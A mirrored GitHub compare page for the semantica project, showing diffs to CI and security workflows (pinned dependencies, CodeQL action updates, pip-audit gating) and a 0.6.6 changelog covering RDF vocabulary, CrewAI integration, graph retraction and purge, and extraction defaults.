mirror of
https://github.com/semantica-agi/semantica.git
synced 2026-08-30 04:40:16 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
78fc9028a8 | ||
|
|
6b7625ef9b | ||
|
|
48a05b00a6 | ||
|
|
58b77ddcf5 | ||
|
|
e03212cd66 | ||
|
|
83c04a57d6 | ||
|
|
75b026c6dd | ||
|
|
2a303cf4da | ||
|
|
7595bad28f | ||
|
|
2d75952476 | ||
|
|
e55c03bd39 | ||
|
|
4a886d970e | ||
|
|
e1092ac507 | ||
|
|
b77e3e8c3c | ||
|
|
68f7ae3807 | ||
|
|
08a6e7c053 | ||
|
|
e6b159e5c5 | ||
|
|
7db2e2f46b | ||
|
|
3fbe3cfd2d | ||
|
|
75bc6255d4 | ||
|
|
a96f1590f1 | ||
|
|
063f447202 | ||
|
|
a1194a155d | ||
|
|
17d878cbf3 | ||
|
|
488e381247 | ||
|
|
4acd2f9c33 | ||
|
|
7cac8a6bc3 | ||
|
|
6c77594ea6 | ||
|
|
5109c6fab2 | ||
|
|
12b9694a8e | ||
|
|
49707729ad | ||
|
|
430020c7c4 | ||
|
|
43b207c1c5 | ||
|
|
55bde673c9 | ||
|
|
5c2901ae27 | ||
|
|
dae21166a1 | ||
|
|
67be421533 | ||
|
|
baf8f01f85 | ||
|
|
c58686b4ec | ||
|
|
04602a0e0e | ||
|
|
eedf1425ca | ||
|
|
d4cb14c1fb | ||
|
|
a8194dfc60 | ||
|
|
c7415f2e92 | ||
|
|
3331df28ad | ||
|
|
de5e20dc55 | ||
|
|
0f252ab355 | ||
|
|
0b77e5fe94 | ||
|
|
893b6db3c3 | ||
|
|
b8297b8077 | ||
|
|
4d37920007 | ||
|
|
6416fbb669 | ||
|
|
70aa9d01bf | ||
|
|
c53ca4e84b | ||
|
|
15171fd31a | ||
|
|
8177d88753 | ||
|
|
d94d8f6ab8 | ||
|
|
83649f6821 | ||
|
|
2f04bc01a3 | ||
|
|
5579851208 | ||
|
|
eaf51b3383 | ||
|
|
115e7965cd | ||
|
|
8639cb9f16 | ||
|
|
f1e7e64ad1 | ||
|
|
6df97cf0a0 | ||
|
|
84ce3c5155 | ||
|
|
b8175ea801 | ||
|
|
557e29ee14 | ||
|
|
c1be6dd7dc | ||
|
|
42afc06003 | ||
|
|
4513b61e40 | ||
|
|
8a4ebafb9a | ||
|
|
80b9bea0d5 | ||
|
|
5bc09a5f5a | ||
|
|
75f88b1c40 | ||
|
|
80b1cca07b | ||
|
|
1c0cebb1c3 | ||
|
|
94d0c3dc07 | ||
|
|
c0a051903f | ||
|
|
09c4b1b570 | ||
|
|
c5d13a45db | ||
|
|
611874e63e | ||
|
|
43bac6170c | ||
|
|
91d02a0f29 | ||
|
|
7c3372c062 | ||
|
|
2cfb5de43d | ||
|
|
0fa3483b96 | ||
|
|
18f1d55d77 | ||
|
|
b0080c3602 | ||
|
|
1ee3f2f214 | ||
|
|
1a3dd5038a | ||
|
|
c1154b6ed6 | ||
|
|
687a180721 | ||
|
|
bc63e962c9 | ||
|
|
9ec7959899 | ||
|
|
22bf581094 | ||
|
|
6328bfe52d | ||
|
|
81bb5f2ed8 | ||
|
|
b8e8b2f227 | ||
|
|
f821fa7e2e | ||
|
|
229cb69c50 | ||
|
|
8ef7c9f760 | ||
|
|
cab995dc97 | ||
|
|
4d88218221 | ||
|
|
918830a821 | ||
|
|
bde6e2d68e | ||
|
|
01bd908f86 | ||
|
|
00f4e79d3e | ||
|
|
7654d8c6c7 | ||
|
|
70109133b5 | ||
|
|
7ce05a3848 | ||
|
|
21f5f3d9b3 | ||
|
|
772d22448a | ||
|
|
b6497ace41 | ||
|
|
b094268525 |
@@ -1,4 +1,4 @@
|
||||
> **Before you submit:** make sure you followed the [issue workflow in CONTRIBUTING.md](https://github.com/semantica-agi/semantica/blob/main/CONTRIBUTING.md#-working-on-an-existing-issue) — comment on the issue and wait for assignment before opening a PR, to avoid duplicate work.
|
||||
> **Before you submit:** make sure you followed the [issue workflow in CONTRIBUTING.md](https://github.com/semantica-agi/semantica/blob/main/CONTRIBUTING.md#-working-on-an-existing-issue) — wait for the issue to be assigned to you before opening a PR, to avoid duplicate work.
|
||||
|
||||
## Description
|
||||
|
||||
|
||||
@@ -17,10 +17,10 @@ jobs:
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up Python 3.12
|
||||
- name: Set up Python 3.11
|
||||
uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7
|
||||
with:
|
||||
python-version: "3.12"
|
||||
python-version: "3.11"
|
||||
cache: 'pip'
|
||||
|
||||
- name: Install Dependencies
|
||||
|
||||
@@ -42,8 +42,28 @@ jobs:
|
||||
- name: Build Explorer frontend
|
||||
working-directory: explorer
|
||||
run: npm run build
|
||||
- name: Install pinned Python dependencies
|
||||
run: |
|
||||
pip install -r requirements-ci.txt
|
||||
- name: Verify requirements-ci.txt is up to date
|
||||
run: |
|
||||
pip install uv==0.12.1
|
||||
# Re-resolve with the committed file as a constraint: upstream package
|
||||
# releases must NOT fail CI (deps only change when pyproject.toml
|
||||
# changes intentionally). Compare only version lines (pkg==ver),
|
||||
# ignoring the -c constraint comments and the `\` line continuations
|
||||
# that --generate-hashes emits.
|
||||
uv pip compile pyproject.toml --python-version 3.11 --extra all \
|
||||
--constraint requirements-ci.txt -o /tmp/requirements-ci-check.txt
|
||||
diff \
|
||||
<(grep -E '^[a-zA-Z0-9._-]+==' requirements-ci.txt | sed 's/ \\$//') \
|
||||
<(grep -E '^[a-zA-Z0-9._-]+==' /tmp/requirements-ci-check.txt)
|
||||
- run: pip install build
|
||||
- run: python -m build
|
||||
# wheel is build-time only (not in requirements-ci.txt) — install the
|
||||
# same pinned version [build-system] declares so --no-isolation works.
|
||||
- run: pip install wheel==0.48.0
|
||||
- name: Build package (no isolation — pinned deps)
|
||||
run: python -m build --no-isolation
|
||||
- name: Verify Explorer frontend is packaged
|
||||
run: |
|
||||
python - <<'PY'
|
||||
|
||||
@@ -32,7 +32,7 @@ jobs:
|
||||
# meaningful state carried over from a failed attempt.
|
||||
- name: Initialize CodeQL (attempt 1)
|
||||
id: codeql-init-1
|
||||
uses: github/codeql-action/init@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
continue-on-error: true
|
||||
with:
|
||||
languages: python
|
||||
@@ -42,7 +42,7 @@ jobs:
|
||||
- name: Initialize CodeQL (attempt 2)
|
||||
id: codeql-init-2
|
||||
if: steps.codeql-init-1.outcome == 'failure'
|
||||
uses: github/codeql-action/init@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
continue-on-error: true
|
||||
with:
|
||||
languages: python
|
||||
@@ -52,17 +52,17 @@ jobs:
|
||||
- name: Initialize CodeQL (attempt 3)
|
||||
id: codeql-init-3
|
||||
if: steps.codeql-init-2.outcome == 'failure'
|
||||
uses: github/codeql-action/init@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
with:
|
||||
languages: python
|
||||
queries: security-and-quality
|
||||
config-file: .github/codeql/codeql-config.yml
|
||||
|
||||
- name: Autobuild
|
||||
uses: github/codeql-action/autobuild@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/autobuild@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/analyze@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
with:
|
||||
category: "/language:python"
|
||||
upload: false
|
||||
@@ -72,7 +72,7 @@ jobs:
|
||||
# Uploads results only when Default Setup is not active.
|
||||
# If Default Setup is still enabled, this step skips gracefully
|
||||
# instead of failing the workflow with HTTP 409.
|
||||
uses: github/codeql-action/upload-sarif@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
with:
|
||||
sarif_file: ${{ steps.codeql.outputs.sarif-output }}
|
||||
category: "/language:python"
|
||||
|
||||
@@ -57,7 +57,7 @@ jobs:
|
||||
# avoiding the guardian.cmd/checkov exit-code bug in the MSDO wrapper.
|
||||
tools: eslint,templateanalyzer,terrascan
|
||||
- name: Upload results to Security tab
|
||||
uses: github/codeql-action/upload-sarif@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
with:
|
||||
sarif_file: ${{ steps.msdo.outputs.sarifFile }}
|
||||
|
||||
@@ -82,7 +82,7 @@ jobs:
|
||||
}
|
||||
|
||||
- name: Upload Checkov results to Security tab
|
||||
uses: github/codeql-action/upload-sarif@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
if: always()
|
||||
with:
|
||||
sarif_file: reports/checkov.sarif
|
||||
|
||||
@@ -36,8 +36,16 @@ jobs:
|
||||
run: |
|
||||
npm ci
|
||||
npm run build
|
||||
# Install the pinned dependency set (with hashes) so the sdist/wheel
|
||||
# build runs against the same versions CI tests against.
|
||||
- name: Install pinned build dependencies
|
||||
run: pip install -r requirements-ci.txt
|
||||
- run: pip install build
|
||||
- run: python -m build
|
||||
# wheel is build-time only (not in requirements-ci.txt) — install the
|
||||
# same pinned version [build-system] declares so --no-isolation works.
|
||||
- run: pip install wheel==0.48.0
|
||||
- name: Build package (no isolation — pinned deps)
|
||||
run: python -m build --no-isolation
|
||||
- name: Verify Explorer frontend is packaged
|
||||
run: |
|
||||
python - <<'PY'
|
||||
|
||||
@@ -45,11 +45,14 @@ jobs:
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
# Install the pinned dependency set FIRST so Safety scans Semantica's
|
||||
# exact CI/release dependency tree (requirements-ci.txt is generated
|
||||
# from pyproject.toml extras, so this covers the project's real deps).
|
||||
pip install -r requirements-ci.txt
|
||||
# Tooling AFTER the pinned set: installing safety/bandit/semgrep/jq
|
||||
# first lets the pinned requirements overwrite their transitive deps
|
||||
# (e.g. rich), which breaks the safety CLI at runtime.
|
||||
pip install safety bandit semgrep jq
|
||||
# Install the project itself (core deps + the LiteLLM provider extra)
|
||||
# so Safety scans Semantica's actual dependency tree, not just the
|
||||
# scanner tools' own dependencies.
|
||||
pip install -e ".[llm-litellm]"
|
||||
|
||||
- name: Run Safety Check (Package Vulnerabilities)
|
||||
run: |
|
||||
|
||||
@@ -4,6 +4,12 @@ on:
|
||||
schedule:
|
||||
- cron: '0 0 * * 1'
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
branches: [main]
|
||||
paths:
|
||||
- 'pyproject.toml'
|
||||
- 'requirements-ci.txt'
|
||||
- '.github/workflows/security.yml'
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
@@ -16,6 +22,21 @@ jobs:
|
||||
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7
|
||||
with:
|
||||
python-version: '3.11'
|
||||
# Upgrade first: actions/setup-python's baked-in setuptools has been
|
||||
# behind known-vulnerable floors before (e.g. PYSEC-2026-3447 /
|
||||
# setuptools 75.1.0), so don't trust the preinstalled one.
|
||||
- run: python -m pip install --upgrade pip setuptools
|
||||
# Audit the pinned dependency set (requirements-ci.txt is compiled from
|
||||
# pyproject.toml with --extra all — the same coverage as the [all]
|
||||
# extra, minus the Linux-only gpu set — so this keeps scan parity with
|
||||
# CI/release builds without a time-dependent resolution). This is the
|
||||
# fix for PYSEC-2024-38 (#869): the bare-env job never had fastapi or
|
||||
# python-multipart installed to look at.
|
||||
- run: pip install -r requirements-ci.txt
|
||||
# PR runs gate on findings, since they're scoped to actual
|
||||
# pyproject.toml changes under review. The schedule/workflow_dispatch
|
||||
# runs stay non-blocking until a full pass over pre-existing findings
|
||||
# across the whole [all] tree has been done.
|
||||
- run: pip install pip-audit
|
||||
- run: pip-audit
|
||||
continue-on-error: true
|
||||
- run: pip-audit -r requirements-ci.txt
|
||||
continue-on-error: ${{ github.event_name != 'pull_request' }}
|
||||
|
||||
+332
@@ -9,6 +9,332 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
## [0.6.6] - 2026-08-20
|
||||
|
||||
### Added
|
||||
|
||||
- **Semantica RDF vocabulary, and deterministic entity/relationship IRIs** (#1109, closes #1107, closes #1101) by @fabio-rovai, reviewed by @KaifAhmad1
|
||||
- Every RDF/JSON-LD export mints terms in `https://semantica.dev/ns#`, and until now nothing declared what those terms meant — the namespace 404s and no vocabulary shipped with the package, so a consumer receiving an export had no way to tell `sem:text` from a typo of it, and no closed-world checker could validate an export at all
|
||||
- `semantica/ontology/vocabulary/semantica-ns.ttl` declares the terms the exporters actually emit — drawn from the emitting call sites in `export/rdf_exporter.py`, `export/json_exporter.py` and `provenance/manager.py`, not from what a vocabulary "ought" to contain. Ships inside the package (`from semantica.ontology.vocabulary import vocabulary_turtle`) so it loads without a network round trip, and is the same document intended to be served at the namespace IRI once hosting/content-negotiation is sorted
|
||||
- `tests/ontology/test_vocabulary.py` ties the document to the code: every term a serializer can write must be declared, so adding a term to an exporter without declaring it fails the build
|
||||
- The missing-id fallback minted entity/relationship IRIs from Python's builtin `hash()`, randomised per process (`PYTHONHASHSEED`), so the same entity got a different IRI on every run and exports couldn't be diffed, deduplicated, or joined to an earlier provenance record. It also wrote `<semantica:entity_N>`, an IRI in the scheme `semantica` rather than the expansion of the declared prefix, so those nodes never joined with anything written through it. Minting now uses SHA-256 and writes a full IRI in the declared namespace; the same fix applies to the default entity/relationship types in the Turtle path
|
||||
- **Fixed during review** (Qodo): the temporal fallback minted from `source_id` only, while the main serializer accepts `source_id` or `source` — relationships using the second form hashed two empty strings, which the previous randomised `hash()` masked by making the IRI unstable anyway; once deterministic, unrelated relationships at the same list index collided on one IRI across exports. Endpoints are now resolved the same way `serialize_to_turtle` resolves them, before minting. `sem:confidence` also lost its declared `xsd:decimal` range: the N-Triples serializer types the same value `xsd:float`, and the two are disjoint, so declaring either contradicted one of the exporters (tracked in #1100) — a new `test_declared_ranges_do_not_contradict_what_the_exporters_emit` guards the whole class of that mistake
|
||||
- **Fixed in follow-up**: `serialize_to_rdfxml`'s default entity type still wrote the bare string `"semantica:Entity"` into an `rdf:resource` attribute, which (unlike a Turtle angle-bracket or an XML element name) is not namespace-expanded — the exact #1101 failure mode, just on the untested RDF/XML path. `json_exporter.py`'s `semantica:format` and `@type: "semantica:KnowledgeGraph"` were emitted but absent from both the vocabulary and the test's `EMITTED_TERMS` guard set, so the "undeclared terms fail the build" claim didn't actually cover them — both are now declared and guarded. `MANIFEST.in` didn't mirror the `pyproject.toml` package-data addition, so a source-distribution install could omit the vocabulary file. The cross-process minting-stability test replaced the subprocess's entire environment with a POSIX-only `PATH`, breaking it on Windows; now overrides only `PYTHONHASHSEED` on top of the inherited environment
|
||||
- **Also fixed, on the JSON-LD paths**: the first fix covered the Turtle, N-Triples and RDF/XML serializers, and left both JSON-LD writers interpolating the entity's own text into `f"semantica:entity/{text}"` and the endpoints into `f"semantica:rel/{source}_{target}"`. Three consequences, all live in 0.6.5: an entity whose text contained a space produced an invalid IRI, and a JSON-LD parser dropped that node in full rather than reporting it, so the entity disappeared from the export; every relationship carrying `source`/`target` rather than `source_id`/`target_id` minted the identical `semantica:rel/_`, collapsing all of them onto one node whose types and endpoints merged; and the JSON-LD `@id` disagreed with the Turtle IRI for the same entity, so the two serializations of one knowledge graph were two different graphs. Both JSON-LD writers now use `mint_entity_iri`/`mint_relationship_iri`, and `JSONExporter.export_entities`/`export_relationships` declare the `semantica` prefix their `@context` was already writing `semantica:entities` against — without it a processor reads that as an IRI in the scheme `semantica`, which is the original #1101 defect on a third path
|
||||
- `tests/export/test_jsonld_iri_minting.py` parses each export with a real JSON-LD processor and asserts the entity survives, the relationships stay distinct, no term expands into the `semantica` scheme, and the JSON-LD `@id` equals the Turtle IRI
|
||||
- 236 export and ontology tests pass
|
||||
|
||||
- **First-class CrewAI integration** (#988, closes #962) by @Shindevrp
|
||||
- New `pip install semantica[crewai]` extra (`crewai>=0.80.0`) — crewai core provides `BaseTool`/`BaseKnowledgeSource`, so `crewai-tools` is intentionally not included, and the extra is intentionally **not** part of the `all` bundle: crewai hard-requires `chromadb~=1.1.0`, which is affected by the unpatched pre-auth code-injection CVE-2026-45829 (see `integrations/crewai/README.md`)
|
||||
- `integrations/crewai/SemanticaKGTool` — a CrewAI `BaseTool` exposing 5 KG actions (`extract_entities`, `extract_relations`, `add_to_graph`, `query_graph`, `find_related`) backed by `NERExtractor` / `RelationExtractor` / `ContextGraph`; supports both sync `run()` and async `arun()`
|
||||
- `integrations/crewai/SemanticaDecisionTool` — a CrewAI `BaseTool` wrapping `AgentContext` with 5 decision-intelligence actions (`record_decision`, `find_precedents`, `trace_causal_chain`, `analyze_impact`, `check_policy`)
|
||||
- `integrations/crewai/SemanticaKnowledgeSource` — a CrewAI `BaseKnowledgeSource` that serializes a `ContextGraph` into crew knowledge storage; implements both the legacy `load_content()` and current `validate_content()`/`aadd()` contracts so it works across `crewai>=0.80.0`
|
||||
- All three classes degrade gracefully when `crewai` is not installed (still importable, full Semantica API available)
|
||||
- New `tests/integrations/crewai/`: 70 tests covering stub-based present-case behavior (Pydantic/BaseTool subclassing, every action, knowledge-source chunking/storage) plus a subprocess isolation test for the crewai-absent degradation path
|
||||
- Docs: `docs/integrations/crewai.md` page, `docs.json` Integrations nav entry, and README integration-matrix/install updates
|
||||
- **Hardened during code review**: live `graph`/`context`/extractor state is excluded from CrewAI JSON serialization (`model_dump(mode="json")`) with `model_post_init` self-healing defaults, so checkpoint/resume no longer raises `PydanticSerializationError`; `query_graph` now searches node content (not just ids/types); `trace_causal_chain` returns an explicit error instead of substituting similarity precedents when causal tracing is unavailable, and calls `trace_decision_causality(..., max_depth=...)` with the correct argument name; `find_precedents` propagates `max_precedents` as the backend `limit`; `add_to_graph` writes are serialized under a module lock so concurrent agents can't double-count duplicate adds; nameless entities are skipped instead of creating `repr()`-junk nodes
|
||||
- **Hardened during second code review**: `check_policy` rules are now coerced type-aware — `bool("false")` was truthy, so `enabled == false` reported a violation for `enabled: false`, and string datums like `"0.90"` were compared lexicographically instead of numerically; `trace_causal_chain` no longer raises `AttributeError` (which escaped the tool) when the decision context has no `knowledge_graph`, returning honest error JSON instead; knowledge-source storage failures log an actionable ERROR (a missing crew embedder otherwise silently left agents with empty retrieval); `add_to_graph` uses a per-graph re-entrant lock instead of a process-global one (independent graphs no longer serialize each other, and re-entrant extractors can't deadlock); entity/relation `confidence=None` normalizes to `1.0` instead of failing the whole extraction; added a subprocess integration test against the real `crewai` package covering `Crew`-level serialization round-trip and restore
|
||||
|
||||
- **`ContextGraph` gains retraction and purge — the graph previously had no way to remove a node or edge without discarding everything via `clear()`** (#957, closes #955) by @pravit-amp, reviewed by @KaifAhmad1
|
||||
- `retract_node()`/`retract_edge()` close an entity's validity window rather than deleting it, reusing the existing `valid_from`/`valid_until`/`state_at()` machinery: the entity drops out of `find_active_nodes()` and future `state_at()` queries going forward, but `state_at()` calls before the retraction time still return it, so decisions recorded against it stay explainable. A `("kind", id)`-keyed retraction record captures who/why/when, retrievable via `get_retraction()`/`list_retractions()`
|
||||
- `purge_node()`/`purge_edge()` are the destructive counterpart: the entity is removed outright, from history as well as the active view, for erasure obligations retraction alone cannot satisfy (e.g. GDPR Article 17). Only a tombstone remains — that a purge happened, when, and why — deliberately never the purged content, via `get_tombstone()`/`list_tombstones()`. Purge is graph-scope only: `AgentMemory` and any bound vector store are not reached, so it is one step of an erasure workflow rather than the whole of it
|
||||
- Both operations default to `cascade=True` (also touching every incident edge, and for `purge_node`, the marker node of any cross-graph link the node exits through) since leaving edges active around an inactive/removed node produces an inconsistent active view or dangling endpoints; both accept `cascade=False` for callers that want to handle edges themselves
|
||||
- Both are idempotent: retracting/purging an already-retracted/purged entity returns `False` rather than raising, and a repeat retraction preserves the original record's reason rather than overwriting it
|
||||
- Retraction/purge closing a validity window never widens an existing one — a node or edge added with `valid_until` already in the past keeps that earlier bound rather than being pushed later by a subsequent retraction time
|
||||
- Reuses the existing audit-trail path with no changes to `change_management`: `MutationRecord` already documented `REMOVE_NODE`/`REMOVE_EDGE` in its operation vocabulary; retraction now emits `UPDATE_NODE`/`UPDATE_EDGE`, purge emits `REMOVE_NODE`/`REMOVE_EDGE`, matching the documented contract. Mutation payloads are snapshotted inside the lock and the callback fires after it is released, so a callback that itself mutates the graph (e.g. `clear()`) can't observe or lose in-flight records
|
||||
- **Fixed during review** (@KaifAhmad1): `retract_edge()`/`purge_edge()` resolved "the edge" for a given `edge_id` via the first matching object only. `edge_id` is content-derived and, prior to #926, was not guaranteed unique — a graph holding two identical `add_edge()` calls had two edge objects sharing one id. A direct `retract_edge()`/`purge_edge()` call would silently leave the second duplicate untouched (still live, still active) while returning `True` and recording a tombstone/retraction that claimed the edge was fully handled; repeat `purge_edge()` calls also silently overwrote the tombstone's `reason`/`purged_at` on each partial attempt instead of no-op'ing. The same gap let `retract_node()`'s cascade skip a duplicate outright, since it checked the live `_retractions` dict mid-loop and treated the first duplicate's just-written record as proof the second was already handled. `#926` (merged) stops *new* duplicates from being created, but any graph already holding one — loaded from a save made before that fix, or built during the window before it landed — could still trigger this. Now `retract_edge()`/`purge_edge()` act on every edge matching the id under one record, and the cascade's dedup check is snapshotted before the loop starts so within-call duplicates are still closed rather than skipped. 5 new regression tests in `TestDuplicateEdgeId`
|
||||
- New `tests/context/test_context_graph_retraction.py`: 49 tests, covering retraction/purge semantics, cascade, idempotency, validity-window narrowing, id-keyspace collisions between node and edge ids, cross-graph link teardown, `clear()`/`load_from_file()` resetting retraction/tombstone state, audit-trail integration against a real `TemporalVersionManager`, mutation-emission ordering under a concurrent `clear()`, and concurrent purges
|
||||
- Full `tests/context/` suite: 533 passed
|
||||
- **`DistanceExporter.compute_pairs()` gains an opt-in `metric_errors` column to distinguish legitimate `None` results from computation failures** (#960, follow-up to #879) by @Karunasagar12
|
||||
- Previously, a `None` in `hop_count`/`weighted_distance`/`semantic_similarity`/betweenness could mean either "no path exists" or "the underlying computation raised" — logged as a warning per #879, but not otherwise surfaced, so the two cases were indistinguishable in exported CSV/JSONL/DataFrame data. `include=["metric_errors"]` now adds a `metric_errors` field per row: `""` when all requested metrics succeeded, or a comma-separated list of metric names that raised (e.g. `"hop_count,weighted_distance"`)
|
||||
- Opt-in only — default `compute_pairs()`/`to_csv()`/`to_dataframe()`/`to_jsonl()` schema is unchanged unless `"metric_errors"` is explicitly requested
|
||||
- The four metric helpers (`_betweenness`, `_hop_distance`, `_weighted_distance`, `_semantic_similarity`) now return `(value, error_name | None)` tuples internally; `compute_pairs()` aggregates the error names per row
|
||||
- **Fixed during review** (Qodo): `_betweenness()` failures weren't tracked into `metric_errors` in the initial version — centrality computation could raise and the column would still report `""`. Now returns its error tuple like the other three helpers
|
||||
- **Known limitation**: `include=["metric_errors"]` with no other metric names computes nothing, so the column is always `""` in that case — pass it alongside the metrics you want tracked, e.g. `include=["hop_count", "metric_errors"]`
|
||||
- New `tests/export/test_distance_exporter_metric_errors.py`: 6 tests covering success, single/multiple failures, opt-out, the no-path-vs-error distinction, and default-schema stability; existing `tests/export/test_distance_exporter.py` updated for the new tuple return type
|
||||
- Full `tests/export/` suite: 77 passed
|
||||
|
||||
- **`ContextGraph.to_kg_dict()`: an adapter converting a `ContextGraph`'s internal `nodes`/`edges`/`source` shape into the canonical `entities`/`relationships`/`source_id` shape `RDFExporter` and `TemporalGraphQuery` consume** (#1081) by @cxzg007
|
||||
- Previously there was no supported way to feed a `ContextGraph` into those consumers without hand-rolling the field remapping; `to_kg_dict()` does it once, with an `entities_only` option that drops relationships left dangling by the filter
|
||||
- **Fixed during review** (Qodo): null `properties`/`metadata` on a node loaded from JSON raised `TypeError` when copied — both are now guarded with `or {}`; entity ids are coerced to `str(node_id)` to match `ContextEdge`'s already-str-coerced endpoints, so valid relationships were no longer dropped by `entities_only` filtering
|
||||
- `RDFExporter`'s validator and `TemporalGraphQuery` now also accept `source_id`/`target_id` endpoints, the shape `to_kg_dict()` emits
|
||||
|
||||
### Changed
|
||||
|
||||
- **`GraphBuilder`'s 6 public methods now have Google-style docstrings** (#878, closes #876) by @cakeni
|
||||
- `semantica/kg/graph_builder.py`'s `build`, `build_single_source`, `add_temporal_edge`, `create_temporal_snapshot`, `query_temporal`, and `load_from_neo4j` — the core knowledge-graph construction API, imported directly by callers — previously had zero docstrings across all 6 methods, the only file in a 10-file audit sample with that gap, despite CONTRIBUTING.md requiring Google-style `Args`/`Returns`/`Raises`/`Example` docs for public methods. Added full docstrings for all 6, plus the previously undocumented `build_single_source`, with runnable (`# doctest: +SKIP`) usage examples
|
||||
- **Corrected during review**: `query_temporal`'s docstring claimed the query text was used to filter the graph; the implementation only records it in the result (`results = {"query": query, ...}`) with no interpretation or filtering. Corrected to state that explicitly
|
||||
- **Corrected during review**: `create_temporal_snapshot`'s docstring implied entities were filtered for validity at the snapshot timestamp like relationships are; the implementation copies all entities unfiltered and only filters `relationships` by `valid_from`/`valid_until`. Docstring now distinguishes the two
|
||||
- **Corrected during review**: `add_temporal_edge`/`create_temporal_snapshot` docstrings overclaimed numeric-timestamp support; `_parse_time()` only special-cases `str` and `datetime`, falling back to a bare `str()` cast for anything else (not true numeric parsing). Narrowed to "datetime or ISO-formatted string"
|
||||
- **Fixed along the way**: `build()`'s `**options` documented a default only for `extract`; `extract_relations`, `extract_triplets`, `ner_method`, `relation_method`, and `triplet_method` all have concrete defaults in `_extract_from_text()` (`True`, `True`, `"llm"`, `"llm"`, `"llm"`) that were left unstated, inconsistent with CONTRIBUTING.md's own docstring example of noting defaults inline
|
||||
- `python -m pytest tests/kg/test_kg.py tests/kg/test_graph_builder_external.py -q`: 45 passed
|
||||
- **`GraphBuilder` raw-text extraction now defaults to local extractors instead of LLM extraction** (#941, closes #930) by @dex0shubham
|
||||
- `GraphBuilder._extract_from_text()` defaulted `ner_method`, `relation_method`, and `triplet_method` to `"llm"`, and ran relation extraction unconditionally (`extract_relations` defaulted to `True`) — all four contradicting the defaults documented in the `build()` docstring at the time (`"ml"` / `"pattern"` / `False`), and diverging from the standalone extractors (`NERExtractor` defaults to `method="ml"`, `RelationExtractor` and `TripletExtractor` to `method="pattern"`). The practical effect was that any raw-text `build()` call silently required a configured provider, an API key, and network access
|
||||
- Defaults are now `ner_method="ml"`, `relation_method="pattern"`, `triplet_method="pattern"`, and `extract_relations=False`, matching the docstring. LLM extraction remains fully available and is now opt-in
|
||||
- **To restore the previous behaviour**, pass the methods explicitly:
|
||||
```python
|
||||
builder.build(
|
||||
sources,
|
||||
ner_method="llm",
|
||||
relation_method="llm",
|
||||
triplet_method="llm",
|
||||
extract_relations=True,
|
||||
)
|
||||
```
|
||||
- #878 landed in the meantime and resolved the same mismatch in the opposite direction, documenting the LLM values (`"llm"` / `"llm"` / `"llm"`, `extract_relations: True`) as the contract. Per the decision on #930 the code is the side that changes, so those docstring defaults are corrected here to `"ml"` / `"pattern"` / `"pattern"` / `False`, keeping #878's formatting
|
||||
- Removed the stale `# Default to LLM methods as per requirement` comment, which read as an intentional decision but did not match the documented contract
|
||||
- **Fixed along the way**: `_extract_from_text()` constructed a fresh extractor for every text, and `NERExtractor.__init__` loads its spaCy model eagerly when the method includes `"ml"` — so with the new default, a multi-document build would have reloaded the model once per source. Extractors are now built once per `(kind, method)` and reused for the lifetime of the builder, via `GraphBuilder._get_extractor()`. This path was previously unreachable by default because the old `"llm"` default never touched spaCy
|
||||
- **Fixed along the way**: `_extract_from_text()` never forwarded its extracted relations to triplet extraction — it passed only `entities=`, so `TripletExtractor` re-derived relations itself (via a method taken from `triplet_method`) whenever `relations is None`, duplicating work and producing triplets that could disagree with the relations already extracted using `relation_method`. Relations are now passed through as `relations=`; when relation extraction is disabled or fails, `None` is forwarded and `TripletExtractor` keeps its existing self-derivation behaviour
|
||||
- **Fixed along the way**: `GraphBuilder._extraction_stats` was only initialised inside `build()`, so calling `_extract_from_text()` directly raised an `AttributeError` that the extraction path's broad `except` swallowed and reported as `"Entity extraction failed"`. It is now seeded in `__init__` as well; `build()` still resets it per run
|
||||
- New regression coverage in `tests/kg/test_graph_builder_extraction_defaults.py` pinning all four defaults, verifying that no default resolves to `"llm"`, confirming explicit LLM opt-in still routes correctly, asserting extractors are constructed once across repeated texts, covering fallback method lists (e.g. `ner_method=["pattern", "ml"]`) for all three extractors, asserting relations are forwarded to triplet extraction (and that `None` is forwarded when relation extraction is disabled or fails), and running the real default path end to end with no provider mocked. Verified to fail against the pre-fix code
|
||||
- Full `kg` suite: 473 passed
|
||||
|
||||
- **Explorer graph canvas now renders edge labels** (#1013, closes #1009) by @yzxcj797
|
||||
- `GraphCanvas.tsx` had no edge-label rendering path at all; Sigma's edge-label renderer draws `data.label`, but the graph state stored the relationship type under `edgeType`, so simply enabling the renderer would have left every edge blank. `graphSceneState`'s edge reducer now maps `edgeType` onto `label` (suppressed for hidden edges)
|
||||
